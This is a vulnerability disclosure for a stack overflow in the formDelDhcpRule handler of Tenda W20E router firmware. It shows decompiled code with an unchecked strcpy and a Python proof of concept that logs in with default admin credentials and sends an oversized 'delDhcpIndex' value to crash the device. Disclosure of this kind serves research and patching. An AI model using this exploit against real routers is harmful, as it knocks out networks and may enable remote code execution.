CPSeek Create formDelDhcpRule.md History

1 contributor

77 lines (56 sloc) | 1.67 KB

* Tenda W20E stack vulnerability

* Version

V15.11.0.6 (US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC)

* Firmware

https://www.tenda.com.cn/download/detail-2707.html

* Vulnerability Detail

In function formDelDhcpRule, the content obtained by the program from the parameter "delDhcpIndex" is passed to __src, and then the __src is directly copied into the indexs stack through the strcpy function. There is no size check, so there is a stack overflow vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

```
void formDelDhcpRule(webs_t wp,char *path,char *query)

{
  char *__src;
  int iVar1;
  char msg [32];
```

```
  char indexs [128];
  char *indexSet;

  memset(indexs,0,0x80);
  msg._0_4_ = 0;
  msg._4_4_ = 0;
  msg._8_4_ = 0;
  msg._12_4_ = 0;
  msg._16_4_ = 0;
  msg._20_4_ = 0;
  msg._24_4_ = 0;
  msg._28_4_ = 0;
  __src = websGetVar(wp,"delDhcpIndex","0");
  strcpy(indexs,__src); //here is overflow
  delete_rules_in_list("dhcps.static.list",indexs,"\t");
  iVar1 = CommitCfm();
  if (iVar1 != 0) {
    sprintf(msg,"module_id=%d,op=%d",3,6);
    send_msg_to_netctrl(3,msg);
  }
  outputToWebs(wp,"1");
  return;
}
```

* POC

```
import requests

cmd  = b'delDhcpIndex=' + b'A' * 800


url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/delDhcpRules/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```